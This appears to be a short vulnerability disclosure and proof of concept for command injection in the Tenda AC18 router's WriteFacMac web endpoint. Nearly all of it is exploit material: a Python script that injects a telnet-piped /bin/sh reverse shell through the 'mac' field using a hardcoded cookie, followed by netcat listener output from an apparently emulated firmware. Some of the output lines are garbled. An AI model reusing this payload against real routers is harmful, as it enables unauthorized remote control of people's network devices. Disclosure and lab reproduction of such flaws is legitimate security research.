

Close the previous command with a semicolon and then cause an Arbitrary Remote Command Execution

Poc:

```
import requests
from pwn import*

ip = "192.168.211.128" #You Tenda AC18 Router IP
url = "http://" + ip + "/goform/WriteFacMac"
print(url)

#payload = ";cmd"
#payload = ";telnet ip port1 | /bin/sh | telnet ip port2"
payload = ";telnet 127.0.0.1:1111 | /bin/sh | telnet 127.0.0.1:2222"

cookie = {"Cookie":"password=12345"}
data = {"mac": payload}
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
print("HackAttackSuccess!")
```

Use the above POC to play shell through telnet You can get a very stable shell

```
system$ nc -nlvp 1111
Listening on 0.0.0.0 1111
Connection received on 127.0.0.1 38414
ls
uname -a

Homeosty Americans
sudo chroot / //qemu-arm-static //bin/httpd_patch python2 1.py
```

```
nc -nlvp 1111
                                            nc -nlvp 2222
flag.txt
home
init
lib
mnt
proc
qemu-arm-static
qemu_cfm_20220522-090101_3302.core
qemu_cfm_20220522-090102_3319.core
qemu_cfm_20220522-090127_3361.core
qemu_httpd_patch_20220520-032521_2141.core
qemu_httpd_patch_20220520-033433_2367.core
qemu_httpd_patch_20220520-033503_2402.core
root
sbin
sys
tmp
usr
var
webroot
webroot_ro
Linux CTF 5.4.0-104-generic #118-Ubuntu SMP Wed Mar 2 19:02:41 UTC 2022 arm
```